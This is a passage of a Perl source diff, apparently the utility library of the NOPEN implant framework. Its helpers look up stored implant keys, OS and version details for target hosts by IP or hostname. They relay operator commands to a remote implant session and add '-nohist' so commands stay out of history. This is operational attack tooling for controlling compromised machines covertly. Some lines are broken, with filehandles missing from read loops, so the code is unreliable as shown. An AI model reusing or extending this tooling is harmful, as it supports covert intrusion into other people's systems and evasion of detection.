#dbg("tvv=$thisverval mvv=$maxverval in fr=".(basename $foundrat)." rat=$rat"); + # last if $foundrat; + } + closedir(UPDIR); + last if $foundrat; + } + } + #dbg("On $platform found $foundrat"); + if (@platforms == 1) { + return $foundrat; + } else { + $foundrats{$foundrat}++; + $foundrat = ""; + } + } + my @rats = keys %foundrats; + #dbg("rats=(@rats)"); + my $inode=0; + foreach $rat (@rats) { + my $i = (stat($rat))[1]; + $problem++ if $inode and $i != $inode; + $inode = $i; + # dbg("rat=$rat i=$i $inode=$inode problem=$problem"); + } + if ($problem) { + mywarn("findnoserver cannot find unique server for all of:\n". + "$platforms\n\nPick one:\n$COLOR_NOTE". + join("\n",@rats). + "\n\n"); + $foundrat = ""; + } else { + $foundrat = $rats[0]; + } + return $foundrat; +} +#findnoserver + +sub findinvarkeys { + #dbg("in findinvarkeys(@_)"); + local($target, # Target we desire (IP/hostname) + $exactonly, # If set, must match $target exactly. + # Uppercase below are all references, @$IP is an array of IPs, + # the rest are hashed arrays with those IPs as the keys. + $IP, # IPs that match + $FQDN, # FQDNs of each match + $KEYSTR, # KEYSTRs of each match + $OS, # OSs of each match + # (I.e. PROJECT___hostname.domainname___IP___YYYYMMDD--HHMMSS) + $IMPLANTS, # IMPLANTs of each match, a space delimited string + $UTCOFFSET, # Contains UTC_OFFSET value for that IP, comma delimited if + # more than one unique entry found. + $ALLIMPLANTKEYS, # keyed on IP+implant name, contains keys for that IP+implant + $IMPLANTKEYS, # keyed on implant name, contains keys for that implant + # BUT FOR $$IP[0] ONLY!! + $IMPLANTVERS, # keyed on IP+implant name, contains dotted numeric only + $ALLIMPLANTVERS, # keyed on IP, contains all implant/versions for that IP + ) = (@_); + my $match = 0 ; # Set to # of matches found or to IP if one unique match + my $wantip = $target =~ /^\d+\.\d+\.\d+\.\d+$/; + my $wantname = !$wantip; + my $warning = ""; + # my $multipleos = ""; + # Looking in $opbin/varkeys/* + # Given (maybe partial) hostname, return (list of) IP(s) that match + # Given (maybe partial) IP, return (list of) FQDN(s) that match + return 0 unless ($target and opendir(VARDIR,"$opbin/varkeys")); + foreach $vardir (grep { ! /^\./ } sort readdir VARDIR) { + next unless -d "$opbin/varkeys/$vardir" ; + unless (opendir(PROJECTDIR,"$opbin/varkeys/$vardir")) { + mywarn("autoutils::findinvarkeys: Cannot open $opbin/varkeys/$vardir"); + next; + } + foreach $t (grep { ! /^\./ } sort readdir PROJECTDIR) { + next unless -d "$opbin/varkeys/$vardir/$t" ; + next unless $t =~ /$target/; + my ($fqdn,$ip) = $t =~ /^([^_]*)___([\d\.]+)/; + if ($wantip) { + next unless (!$exactonly or $ip eq $target); + } else { + next unless (!$exactonly or $fqdn eq $target); + } + push (@$IP,$ip); + $$FQDN{$ip} = $fqdn; + unless (opendir(TDIR,"$opbin/varkeys/$vardir/$t")) { + mywarn("autoutils::findinvarkeys: Cannot open $opbin/varkeys/$vardir/$t"); + next; + } + $match++; + foreach $implant (grep { ! /^\./ } sort readdir TDIR) { + next unless -f "$opbin/varkeys/$vardir/$t/$implant" + and -r _ and -s _; + next unless + open(VARIN,"$opbin/varkeys/$vardir/$t/$implant"); + + $$IMPLANTS{$ip} .= " $opbin/varkeys/$vardir/$t/$implant"; + while (my $varline = ) { + if (my ($var,$junk,$key) = $varline =~ /export\s+(\S*(KEY|CV|AYT)\S*)=\"{0,1}([^\"]*)\"{0,1}/) { + $$ALLIMPLANTKEYS{"${ip}+${implant}"} .= $key; + $$IMPLANTKEYS{$implant} .= $key if ($ip eq $$IP[0]) + } + if (my ($offset) = $varline =~ /UTC_OFFSET\s*[:=]\s*(\S+)/) { + $$UTCOFFSET{$ip} .= "$offset," + unless ($$UTCOFFSET{$ip} =~ /^$offset,/ or + ($$UTCOFFSET{$ip} =~ /,$offset,/)) ; + } + if (my ($os) = $varline =~ /OS:\s*(\S+)/) { + # if ($os =~ /sparc-sun-solaris(2.*)/) { + # my $ver = $1; + #dbg($ver); + # unless ($ver =~ /2.[345]$/) { + # $os =~ s/$ver/2.5.1/; + # } + # } + $$OS{$ip} = $os unless $$OS{$ip}; + if ($os ne $$OS{$ip}) { + #dbg("setting 3 (adding to OS)"); + # mywarn("autoutils::findinvarkeys: Multiple different OS's for $ip in varkeys/ $os ne $$OS{$ip}"); + $$OS{$ip} .= " $os" unless + $$OS{$ip} =~ / $os/; + $warning = "autoutils::findinvarkeys: Multiple different OS's for $ip in varkeys/: $$OS{$ip}"; + } + } + if ($varline =~ /version/i or $varline =~ /v\s*\d+\.\d+\.\d+\.\d+/) { + if (my ($ver) = $varline =~ /(\d+\.\d+\.\d+\.\d+)/) { + if ($ver eq $ip) { + ($ver) = $varline =~ /$ip.*(\d+\.\d+\.\d+\.\d+){0,1})/; + } + if ($ver) { + $$IMPLANTVERS{"${ip}+${implant}"} .= "," if $$IMPLANTVERS{"${ip}+${implant}"}; + $$IMPLANTVERS{"${ip}+${implant}"} .= $ver; + $$ALLIMPLANTVERS{$ip} .= "," if $$ALLIMPLANTVERS{$ip}; + $$ALLIMPLANTVERS{$ip} .= "$implant/$ver"; + } + } + } + } + } + $$IMPLANTS{$ip} =~ s/^ //; + close(VARIN); + } + mywarn($warning) if $warning; + } + foreach (keys %$UTCOFFSET) { + $$UTCOFFSET{$_} =~ s/,$//; + } + closedir(DIR); + return $$IP[0] if $match == 1; + return $match; +} +#findinvarkeys + +sub refreshnoclientinfo { + # 20051109: Now every process requiring autoutils will have information + # about every other active noclient. + foreach (split(/\n/,`ls -1 $optmp/noclient.info.* 2>/dev/null`)) { + my ($pid) = /info\.(\d+)/; + next unless $pid > 1; + chomp($test = `ps hp $pid`); + unless ($test) { + unlink($_); + next; + } + # dbg("requiring $_"); + do $_ if (-r $_); + } +} +#refreshnoclientinfo + +sub mywarn { + my $quietwarn = ""; + if ($_[-1] and $_[-1] =~ /QUIET/) { + $quietwarn = pop(@_); + } + local ($what,$color,$color2,$what2,$popup) = (@_) ; + if ($color =~ /^(popup.*)/i) { + $color = ""; + $popup = $1; + } + # dbg("nostdout=$nostdout In mywarn(@_) + + #color=$color= + #popup=$popup= + #"); + + $color = $COLOR_FAILURE unless $color ; + my $pid = $$; + $pid .= "($pp_utils)" if $pp_utils; + if ($quietwarn) { + $what="${color}$what$COLOR_NORMAL"; + } else { + $what="${color2}${prog}[$pid]$what2\a: ${color}$what$COLOR_NORMAL"; + } + dolocalecho($what,$popup); + unless ($nostdout) { + # This stderr was going to the next NOPEN command line if $socket was open, so we + # don't do it in that case. + warn "$what\n" unless $socket ; + warnherealso("$what\n") if defined &warnherealso ; + } else { + # $yoffset += 55; + # unless (fork()) { + # dolocalecho($what); + # close($socket); + # exec("xterm -hold -title \"NOPEN: $nopen_rhostname\" -geometry 118x16+247+$yoffset -bg white -fg red -e ". + # "echo \"\n\n\n\t\a${color}$what$COLOR_NORMAL\n\"") ; + # } + } + if ($autodone) { + open(MYOUT,">> /current/latewarnings.$nopen_rhostname") || return ; + print MYOUT "$what\n" ; + close MYOUT + } +} +#mywarn + +sub mydie { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; + my $pid = $$; + $pid .= "($pp_utils)" if $pp_utils; + if (@_) { + if ((defined $socket) and ($nostdout > 0)) { + #dbg("In mydie0(@_) with socket defined"); + dolocalecho("${prog}[$pid]\a: $what",$color); + close($socket); + } else { + #dbg("In mydie1(@_)"); + mywarn($what,$color,$color2,$what2); + } + # dolocalecho("${color2}${prog}[$$]$what2\a: ${color}$what$COLOR_NORMAL") ; + # mywarn("${color2}${prog}[$$]$what2\a: ${color}$what$COLOR_NORMAL") ; + # mywarn(@_); + # mywarn($what,$color,$color2,$what2); + } + nevermind(); + killlocalechopopup(); + + #dbg("socket=$socket nostdout=$nostdout mydie(@_): exit 1"); + # If we are called via require + # return 1 if $calledviarequire; + exit 1 ; +} +#mydie + + +sub dolocalecho { + local $color = ""; + local $popup = ""; + while ($_[$#_] == 1 or $_[$#_] =~ /\[.;..m/ or + $_[$#_] =~ /^popup/i) { + if ($_[$#_] == 1 or $_[$#_] =~ /\[.;..m/) { + $color = pop(@_) ; + $color = $COLOR_FAILURE if ($color == 1) ; + } elsif ($_[$#_] =~ /popup/i) { + $popup = pop(@_) ; + } + } + my $what = "@_" ; + my $color2 = ""; + $color2 = ${COLOR_NORMAL} if $color; + $what = "\n${color}\n${what}\n$color2\n"; + my $ext = $$; + $ext++ until (! -e "$optmp/.whatout.$ext"); + if (open(OUTUTIL,"> $optmp/.whatout.$ext")) { + print OUTUTIL $what; + close(OUTUTIL); + } + my $l = length $what; +# offerabort("WTF: l=$l= what=$what="); + unless ($popup) { + if (length($what) <= 128) { + #dbg("popup=$popup in dolocalecho2"); + if ($nopen_clientver and + $nopen_clientver !~ /^3.1/ and + $nopen_clientver ge "3") { + `touch /tmp/yaday`; + $what =~ s/NNLL/\\\\n/g; + $what =~ s/\a/\\\\a/g; + $what =~ s/\t/\\\\t/g ; + $what =~ s/\n/\\\\n/g ; + $what =~ s/\"/\\\"/g ; + } else { + $what =~ s/NNLL/\\\\\\\\n/g; + $what =~ s/\a/\\\\\\\\a/g; + $what =~ s/\t/\\\\\\\\t/g ; + $what =~ s/\n/\\\\\\\\n/g ; + $what =~ s/\"/\\\\\\\"/g ; + } + doit("-lsh echo -e \"$what\""); + } else { + # So not popping, but length must be big. + #dbg("popup=$popup in dolocalecho1"); + doit("-lsh cat $optmp/.whatout.$ext"); + } + #dbg("dolocalecho returning 0"); + return 0 if fork; + } + # Now if !$popup and length > 128 we already catted the file, just need to clean it. + # If we are popping up, we fork here, parent returns $kidpid. $kidpid/child responsible + # for wiping tmp file and also popup. + if ($popup) { + my $killstring = $$; + my $kidpid = fork; + if ($kidpid > 0) { + # chomp(my $killpid = `ps -ef | grep -v grep | grep $killstring$ | awk '{print \$2}'`); + # dbg("popup=$popup in dolocalecho just forked + + #killpid=$killpid + #killstring=$killstring + #kidpid=$kidpid + #xtermlineendsin=$xtermlineendsin + + #"); + #dbg("dolocalecho returning $killstring"); + push(@killstrings,$killstring); + return $killstring; + #?? return $kidpid; + } + my ($xargs) = $popup =~ /popup(.*)/i; + close(STDOUT); + close(STDERR); + close($socket); + #dbg("popup=$popup in dolocalecho0 kidpid=$kidpid about to pop xterm"); + # dbg("popup=$popup= xargs=$xargs= execing: xterm -hold $xargs -e cat $optmp/.whatout.$ext"); + unless ($xargs =~ /geometry/) { + my $linecount = minof(70,6+split(/\n/,$what)); + $xargs .= " -geometry 106x$linecount"; + } + my $title = " -title \"$nopen_rhostname $prog\""; + $title = "" if ($xargs =~ /-title/); + # dbg("xterm -hold $xargs -title \"$nopen_rhostname $prog\" -e cat $optmp/.whatout.$ext | less"); + # Another child here for popup. Parent is $kidpid was already returned. + exec("xterm -hold $xargs$title -e cat $optmp/.whatout.$ext | less") if fork; + # exec("xterm -hold $xargs -title \"$nopen_rhostname $prog\" -e cat $optmp/.whatout.$ext | less") if fork; + # exec("xterm -hold $xargs -e cat $optmp/.whatout.$ext") if fork; + } + close(STDIN); + close(STDOUT); + close(STDERR); + close($socket); + sleep 3; + unlink("$optmp/.whatout.$ext"); + #dbg("Now wiping $optmp/.whatout.$ext and exiting"); + exit; +} +#dolocalecho + +sub killlocalechopopup { + # No idea how autogetinput is calling us but we ignore him. + return 0 if $prog eq "autogetinput"; + local (@strs) = (@_); + # Read this in fresh, the %killpopup has is popups we want to kill + do $hostvarfile if -s $hostvarfile; + push(@strs,keys %killpopup) if defined %killpopup; + push(@strs,@killstrings) unless @strs; + my @lines = (); + #dbg(" + + #strs contains ".scalar @strs . " entries and \$strs[0]=$strs[0]= + + #INSIDE killlocalechopopup _=(@_) strs=(@strs) + #"); + return unless @strs; + my $linesdone = 0; + foreach my $str (@strs) { + next unless length $str > 0; + $str = "whatout.$str" unless length($str) > 3; + # @lines = split(/\n/,`ps -efwwwwww | egrep -v "grep|sh -c xterm" | grep xterm.*$str`); + @lines = split(/\n/,`ps -efwwwwwww | grep -v grep | grep xterm.*$str`); + # dbg(" + #dammit= + #ps -ef | egrep -v \"grep|sh -c xterm\" | grep xterm.*$str== \n". + #`ps -ef | egrep -v \"grep|sh -c xterm\" | grep xterm.*$str`."== + + #for str=$str we have lines=(\n". + # join("\n",@lines)."\n + #"); + if (fork) { + $linesdone += @lines; + next; + # Child below will exit + } + + # Child daemonizes, kills popped up window, processing returns immediately + close(STDOUT); + close(STDERR); + close($socket); + my (@pids) = (); + foreach (@lines) { + my ($pid) = /\S+\s+(\d+)/; + #dbg("on line=$_ got pid=$pid"); + push (@pids,$pid); + } + #dbg("killing pids=(@pids)"); + foreach my $pid (reverse sort by_num @pids) { + kill TERM,$pid if ($pid > 0 and $pid != $$); + #dbg( "KILLING: kill TERM,$pid if ($pid > 0 and $pid != $$);"); + + } + # dbg(" + #INSIDE: killlocalechopopup(@_) + + #strs=(@strs) + + + #". + # `ps -efwwwwwwwwww | grep -v grep | grep -3 xterm`); + exit; + } + return $linesdone; +} #killlocalechopopup + +sub progprint { + local(@progwhat) = (@_); + my ($pause,$pausecmd)=(""); + my $where = STDERR ; + my $timestamp=""; + my $nl = "\n"; + $timestamp= timestamp()." " unless ($notimestamp or $ENV{NOTIMESTAMP}); + while ($progwhat[$#progwhat] =~ /pause\d*/ or + $progwhat[$#progwhat] =~ /^STD/ or + $progwhat[$#progwhat] =~ /OUT$/ + ) { + if ($progwhat[$#progwhat] =~ /pause\d*/) { + ($pause) = pop(@progwhat) =~ /pause(\d*)/; + $pause = 3 unless $pause; + $pause *= 2; # double...each beep not a full second + $pausecmd = "-beep $pause"; + } + if ($progwhat[$#progwhat] =~ /^STD/ or + $progwhat[$#progwhat] =~ /OUT$/ + ) { + $where = pop(@progwhat); + } + } #while last arg is something + local ($what,$color,$color2,$what2) = (@progwhat) ; + $color = $COLOR_NOTE unless $color ; + $color = $COLOR_FAILURE if ($color eq "q"); + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; + my ($newlinesbefore,$newlinesafter) =("",""); + $what = "$nl$nl$what$nl" if $nostdout; + $what .= $nl; + while (substr($what,0,1) eq $nl) { + $newlinesbefore .= $nl; + $what = substr($what,1) ; + } + while (substr($what,length($what)-1,1) eq $nl) { + $newlinesafter .= chop($what); + } + if ($nostdout) { + dolocalecho("$newlinesbefore${color2}$timestamp${prog}[$$]$what2: ${color}$what$newlinesafter$COLOR_NORMAL") ; + doit($pausecmd) if $pause; + } else { + print $where "$newlinesbefore${color2}$timestamp${prog}[$$]$what2: ${color}$what$newlinesafter$COLOR_NORMAL" ; + sleep $pause/2 if $pause; + } +} #progprint + +sub nevermind { + # We touch this file so noclient knows to ignore the next + # -gs /port since we didn't actually need the autoport for + # this autoport-aware script, yet it is there in gs.$prog. + if ($willautoport and !$pilotstarted) { + if (open(TMP,"> $opetc/autoport.$nopen_autoport.nevermind")) { + my $date = gmtime(); + print TMP "$date nevermind...$prog\n"; + close(TMP); + } + } +} #nevermind + +sub usage { + # call nevermind() unless socket is active. + # Show version only if $opt_v. + # Otherwise, show usage in one of several variables, depending + # on which is defined and whether $longhelp is set, then exit: + # $usagetext / $usagetextshort / $usagetextshort + # $gsusagetext / $gsusagetextlong + + setusagetexts() if (defined &setusagetexts); + + nevermind() unless $socket; + if ($nextextfile and $ext and -e $nextextfile) { + my $newfile = $nextextfile; + $newfile =~ s/\.$ext$//; + rename($nextextfile,$newfile); + } + my $output = ""; + $output .= "\nFATAL ERROR: @_\n" if ( @_ ); + unless ($opt_v) { + $usagetext = $gsusagetext if ($gsusagetext and $nopen_mypid) ; + $usagetext = $gsusagetext if ($gsusagetext and !$usagetext) ; + $usagetext = $usagetextshort if ($usagetextshort and !$usagetext) ; + $usagetext .= $gsusagetextlong if ($longhelp and $gsusagetextlong); + $usagetext .= $usagetextlong if ($longhelp and $usagetextlong); + $output .= $usagetext; + } + $output .= $vertext ; + $output .= "\nFATAL ERROR: @_\n" if ( @_ ); + # progprint($output,$COLOR_NORMAL,STDOUT); + print STDOUT $output; + exit; +} #usage + +sub dbgdie { + my $more = "ENV\n".`env`."\n===\n"; + my $t=timestamp(); + dbg("@_\n\n$more"); + mydie(); +} #dbgdie + +sub dbg { + my $t=timestamp(); + my $sleep = 0; + my $pid = $$; + $pid .= "($pp_utils)" if $pp_utils; + if ($_[$#_] =~ /^\d+$/) { + $sleep = pop(@_); + } + dammit("$t v. $VER ${prog}[$pid]: ${COLOR_FAILURE}DBGwarn\a: @_$COLOR_NORMAL") ; + sleep $sleep if $sleep; + # if ("@_" =~ /dammit/); #dbg + # mywarn("${COLOR_FAILURE}DBGmywarn\a: @_$COLOR_NORMAL") ; #dbg +} #dbg +sub dammit { + my $duh = "@_"; + if (open(TMPOUT,">> $optmp/dammit")) { + print TMPOUT "@_\n"; + close(TMPOUT); + } else { + `echo -e "$duh" 2>/dev/null >> $optmp/dammit`; + } +} + +sub doit { + # NOTE: This doit() is polymorphic. If $socket and $nostdout are both + # defined, it behaves the new $socket way. If not, the old + # multi-pass way, assumes NOPENOUT is where to write unless + # final argument ends in OUT. + # + # Yet another use of doit()--if $nonopen is set, we are not NOPEN'd + # at all. Instead, write it out as a local shell script (get rid of + # any -lsh in there...). + # + # NEAT: If the $cmd being run is redirected to L:, the $output we see/set + # here still contains the output even though it does not hit the + # screen. + # + # global $socket, the connection to the NOPEN_AUTOPORT + # First or last arg of NONOHIST and the command will not contain + # -nohist (so it WILL be in uparrow history). + local (@cmds) = (@_) ; + local ($output,$nopenlines,@lines) = () ; + my $line = "" ; + my $nohistthistime = ""; + my $skipfirst=1; + while ($cmds[$#cmds] eq "NONOHIST") { + $nohistthistime = pop(@cmds); + } + while ($cmds[0] eq "NONOHIST") { + $nohistthistime = shift(@cmds); + } + my $where = "NOPENOUT" ; + if ($cmds[$#cmds] =~ /OUT$/) { + $where = pop(@cmds); + } + foreach $cmd (@cmds) { + chomp($cmd); + my $usenohist = ""; + my $wewillreadline=0; + $usenohist = "-nohist " + unless ($cmd eq "#NOGS" or + $cmd =~ /\s-nohist/ or + $cmd =~ /-nohist / or + $cmd =~ /^\s*mkdir / or + $cmd =~ /;\s*mkdir / or + $cmd =~ /^\s*-put / or + $nonohist or + $nohistthistime); + dbg("In doit(@_) with h=$usenohist= cmd=$cmd= nonohist=$nonohist= nohistthistime=$nohistthistime="); + dbg("in doit(@_) at if (defined $socket and $pilotstarted and $where eq NOPENOUT"); + if (defined $socket and $pilotstarted and $where eq "NOPENOUT") { + if ($cmd =~ /-getenv/) { + # We skip getenv unless weve done a setenv since last getenv in this window. + if ($host_lastgetenvontarget{$nopen_mypid} and + (time() - $host_lastgetenvontarget{$nopen_mypid} < 30) and + $host_lastgetenvoutput{$nopen_mypid} and + $host_lastgetenvontarget{$nopen_mypid} > $host_lastsetenvontarget{$nopen_mypid}) { + $output .= $host_lastgetenvoutput{$nopen_mypid}; + push(@lines,"$host_lastgetenvoutput{$nopen_mypid}\n"); + dbg("setting $cmd output to $output from hostvars"); + next; + } + } + # send the command to the noclient NOPEN_AUTOPORT + dbg("h=$usenohist= cmd=$cmd= cmdh=$cmd$usenohist= cmdh2=${cmd}${usenohist}= in doit#".$globaldoitcount++."\nSending: $cmd$usenohist"); + #NOT WORKING + # if ($usenohist) { + # if ($cmd =~ /(\s*\>+\s*[T]:.*$)/) { + # $cmd =~ s,(\s*\>+\s*[LT]:.*), -nohist $1,g; + # } else { + # $cmd = "$cmd -nohist"; + # } + # } + if ($usenohist and $cmd !~ /-nohist/ and $cmd) { + my $histcmd = $cmd; + if ($cmd =~ m,^\s*-lsh\s,) { + $histcmd =~ s,^\s*-lsh\s,-lsh -nohist ,; + } elsif ($cmd =~ m,^\s*[\-=],) { + if ($cmd =~ m,[^12]>[^&],) { + $histcmd =~ s,([^12])>([^\&]),\1-nohist >\2,; + } elsif ($cmd =~ m,>,) { + $histcmd =~ s,^(\s*\S+),\1 -nohist,; + } else { + $histcmd = "$cmd -nohist"; + } + } else { + $histcmd = "-nohist $cmd"; + } + print $socket ("$histcmd\n"); + } else { + print $socket ("$cmd\n"); + } + if ($cmd =~ /-getenv/) { + # Clear old, new one coming + $host_lastgetenvoutput{$nopen_mypid} = ""; + } + # read in output of the command + while (<$socket>) { + dbg("autoport socket:$_:"); + if (/^\[\d\d-\d\d-\d\d \d\d:\d\d:\d\d( GMT| UTC){0,1}\]\[\S+:\d+.*:\d+\]$/) { + $nopenlines .= $_; + $skipfirst=1; + next; + } + my $cmd2 = $cmd; + $cmd2 =~ s,\>.*,,g; + if (/^\[.+\]$/) { + if (/Saving.*output to: \// or + /^Command out file: / or + $skipfirst) { + $skipfirst=0; + $nopenlines .= $_; + next; + } + } + # This is the end of that command, beginning of the noclient prompt, + # so we're done here. + if (/^NO\!\s/) { + $nopenlines .= $_; + last; + } + if ( /^We will be reading from \d+$/ and !$wewillreadline++ ) { + $nopenlines .= $_; + } else { + if ($cmd =~ /-getenv/) { + $host_lastgetenvoutput{$nopen_mypid} .= $_; + } + $output .= $_; + } + }#while(<$socket>) + unless ($cmd =~ /^\s*(-nohist ){0,1}\s*-lsh/) { + my $tmp = time(); + if ($cmd =~ /-getenv/) { + newhostvar("host_lastgetenvontarget{$nopen_mypid}",$tmp); + } elsif ($cmd =~ /-setenv/) { + newhostvar("host_lastsetenvontarget{$nopen_mypid}",$tmp); + } + newhostvar("host_lastdoitontarget",$tmp, + "host_lastdoitontarget{$nopen_mypid}",$tmp + ); + } + push(@lines,split(/\n/,$output)); + } else { + if ($nonopen or !($where eq "NOPENOUT")) { + $cmd =~ s/^\s*-lsh //; + $cmd =~ s/\s*-nohist\s/ /; + $usenohist=""; + # Do nothing if this seems to be a NOPEN builtin, which doesn't + # make sense here + if ($cmd =~ /^\s*[-=]/) { + mywarn("doit($cmd) ignoring this NOPEN command when not NOPEN'd") + unless $quiet; + next; + } + } + print $where ("$cmd\n"); + $output .= "$cmd\n"; + } + } #foreach $cmd + dbg("still got lines=(@lines) output=$output= nopenlines=$nopenlines="); + + + ($nocwd) = $nopenlines =~ /NO\! $nopen_hostonlyexpr:(\/.*).$/; + shift(@lines) if $lines[0] =~ /^We will be reading from \d+$/; + dbg("in doit(@_) with where=$where nonopen=$nonopen"); + dbg("done: return ($output,$nopenlines,@lines) + unless (nonopen==$nonopen or !(where==$where eq NOPENOUT)) ;"); + return ($output,$nopenlines,@lines) + unless ($nonopen or !($where eq "NOPENOUT")) ; + dbg("Actually doit is returning scalar output=$output="); + return $output; +} #doit + +# +# Arguments: +# $getret 1 if want to set up a local unix socket to receive the results +# from the script by making the first argument "perl:". +# $pyscript The python script to run, ex "autolss.py" or +# "/current/etc/autolss.py". Relative locations will be from +# /current/etc/. +# $argstr The string of the arguments to pass, ex "-a -b -c 2 /blah". +# +sub mypydo { + my ($getret, $pyscript, $argstr) = @_; + my ($pyport, $pysock_srv, $pysock_cli, $usock_file, + $usock_srv, $usock_cli, $pid, $exec_str); + my $retbuf = ""; + + if($pyscript !~ /^\//) { + $pyscript = "$opetc/$pyscript"; + } + + if(! -x $pyscript) { + progprint("${COLOR_FAILURE}File does not exists or is not executable: ${pyscript}"); + return ""; + } + + # socket to use for autoport tunnel + $pyport = myrand(10000, 65500); + $pysock_srv = new IO::Socket::INET( + LocalHost => "127.0.0.1", + LocalPort => $pyport, + Proto => "tcp", + Listen => 1, + Reuse => 1 + ) or mydie("could not set up autoport tunnel"); + + if($getret) { + # unix socket to return data back on + $usock_file = "/tmp/.mypydo.${pyport}"; + $usock_srv = new IO::Socket::UNIX( + Local => $usock_file, + Type => SOCK_STREAM, + Listen => 1 + ) or mydie("could not set up unix sock"); + } + + if($getret) { + $exec_str = "NOPEN_AUTOPORT=${pyport} ${pyscript} perl:${usock_file} ${argstr}"; + } + else { + $exec_str = "NOPEN_AUTOPORT=${pyport} ${pyscript} ${argstr}"; + } + + $pid = fork(); + + if($pid == 0) { + # child here + + my $mypid = POSIX::getpid(); + my $errfd = fileno(OLDERR); + + my $ls = `/bin/ls -1 /proc/${mypid}/fd`; + my @fds = split(/\n/, $ls); + + # close all fds other than stdin and the saved stderr + foreach my $fd (@fds) { + $fd = int($fd); + + if($fd != 0 && $fd != $errfd) { + POSIX::close($fd); + } + } + + # reopen saved stderr twice, which should give it fd #'s1 and 2 + open(STDOUT, ">&OLDERR"); + open(STDERR, ">&OLDERR"); + + #dbg("mypydo: Executing [${exec_str}]"); + + exec($exec_str); + + progprint("${COLOR_FAILURE}Failed to run script: ${pyscript}"); + return ""; + } + + # accept connection from the python script + $pysock_cli = $pysock_srv->accept(); + + my $gotnogs = 0; + + # read until get the #NOGS + while(<$pysock_cli>) { + if($_ =~ /^#NOGS/) { + $gotnogs = 1; + last; + } + } + + if($gotnogs == 0) { + progprint("Invalid connection from script."); + return ""; + } + + my $running = 1; + my $sel = new IO::Select(); + + $sel->add($pysock_cli); + $sel->add($socket); + + while($running) { + @ready = $sel->can_read(); + + foreach $fh (@ready) { + my $buf = ""; + + # have to use recv so doesn't buffer w/o newlines + recv($fh, $buf, 2048, 0); + #dbg("BUFFER: [${buf}]"); + + if(length($buf) > 0) { + if($fh == $pysock_cli) { + $socket->send($buf); + } + elsif($fh == $socket) { + $pysock_cli->send($buf); + } + } + else { + $running = 0; + } + } + } + + $pysock_cli->close(); + $pysock_srv->close(); + + if($getret) { + # wait for connection to get returned data + # TODO: maybe use select to have timeout in case child dies or hangs + $usock_cli = $usock_srv->accept(); + + $retbuf = ""; + + while(<$usock_cli>) { + $retbuf .= $_; + } + + $usock_cli->close(); + $usock_srv->close(); + + if(-S $usock_file) { + system("rm -f ${usock_file}"); + } + } + + waitpid($pid, WNOHANG); + + dbg("mypydo returning: \"$retbuf\""); + + return $retbuf; +} #mypydo + +sub mygetinput { + # Use $opetc/autogetinput to prompt then take input from user. + local ($prompt,@moreargs) = (@_); + # autogetinput writes their response to $optmp/.answer + my $eext=0; + $eext++ while (-e "$optmp/.prompt_${nopen_rhostname}_$$.$eext" or -e "$optmp/.answer_${nopen_rhostname}_$$.$eext"); + my $promptfile = "$optmp/.prompt_${nopen_rhostname}_$$.$eext"; + my $answerfile = "$optmp/.answer_${nopen_rhostname}_$$.$eext"; + if (open(OUTOUT,"> $promptfile")) { + print OUTOUT $prompt; + close(OUTOUT); + #dbg("nopen_rhostname=$nopen_rhostname socket=$socket="); + if ($nopen_rhostname and $socket) { + doit("-lsh $opetc/autogetinput -O $answerfile -P $promptfile @moreargs"); + } else { + system("$opetc/autogetinput -O $answerfile -P $promptfile @moreargs"); + } + } else { + mydie("$prog: Unable to write to $promptfile"); + } + my $loopcount=0; + while ( 1 ) { + $loopcount++; + # dbg("Looking for $answerfile:\n". + # `ls -al $answerfile`); + -s $answerfile and last; + sleep 1; + last if $loopcount > 100; + } + # dbg("Exited with loopcount=$loopcount:\n". + # `ls -al $answerfile`); + return surveysays($answerfile); +} #mygetinput + +sub surveysays { + # surveysays($answerfile) reads in $answerfile + # and returns the first (lc) letter of their response and + # their entire response in a two element array. + local($answerfile) = (@_); + open(ANSWER,"$answerfile") + or mydie("Unable to open $answerfile: $!\n"); + chomp($ans = ); + close(ANSWER); + #dbg(" WIPING answerfile=$answerfile ; ls -al $answerfile\n".`ls -al $answerfile`); + unlink($answerfile); + return (lc substr($ans,0,1),$ans); +} #surveysays + +sub mypause { + my @ARGS = @_; + $ARGS[0] .= "$COLOR_NOTE\nPAUSED$COLOR_FAILURE\nHit Enter to continue$COLOR_NORMAL"; + if ($gbl_nopromptsplease or $host_nopromptsplease) { + progprint(@ARGS); + } else { + return mygetinput(@ARGS); + } +} + +sub parsestatus { + # global @statusoutput + # If @statusoutput has yet to be populated, or if @_, we run -status + # on the far side, put its output in @statusoutput. + # Returns parsed values from the -status command + local ($force) = (@_); + return ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome, + $localpid,$localppid,$serverver,$wdir,$targetos, + $targetcwd,$targetpid,$targetppid,$targetport,$localport) + if (!$socket or + (!$force and + $clientver and + $histfile and + $cmdoutfile and + $localcwd and + $nhome + ) + ); + # locals + my ($junk,$remotesection,$localsection) = (); + unless (!$force and @statusoutput) { + ($junk,$junk,@statusoutput) = doit("-status"); + } + + + foreach (@statusoutput) { + $localsection++ if (/^Local$/); + unless ($localsection) { + $localport = $1 + if /Local Host:Port\s.*\(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:(\d+)/; + $targetport = $1 + if /Remote Host:Port\s.*\(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:(\d+)/; + } + next unless $localsection; + unless ($remotesection) { + $clientver = $1 if /NOPEN client\s+(\S+)/ ; + $histfile = $1 if /History\s+(\S+)/ ; + $histfile =~ s,/+[^/]+/+../+down/+,/down/,; + $cmdoutfile = $1 if /Command Out\s+(\S+)/ ; + $cmdoutfile =~ s,/+[^/]+/+../+down/+,/down/,; + if (/CWD\s+(\S+)/) { + $localcwd = $1 ; + $localcwd =~ s,/+,/,g; + } + $nhome = $1 if /NHOME\s+(\S+)/ ; + ($localpid,$localppid) = ($1,$2) if /PID .PPID.\s+(\d+)\s+\((\d+)/ ; + } else { + $serverver = $1 if /NOPEN server\s+(\S+)/ ; + $wdir = $1 if /WDIR\s+(.*)/ ; + $targetos = $1 if /OS\s+(.*)/ ; + if (/CWD\s+(\S+)/) { + $targetcwd = $1; + $targetcwd =~ s,/+,/,g; + } + ($targetpid,$targetppid) = ($1,$2) if /PID .PPID.\s+(\d+)\s+\((\d+)/ ; + + + # If we are a solaris zone, our parent may still be init + # even when it is > 1. + } + + +#DBG ONLY: +# $solariszonecapable = 1; + if ($solariszonecapable and + $socket and + !defined $host_solariszone and 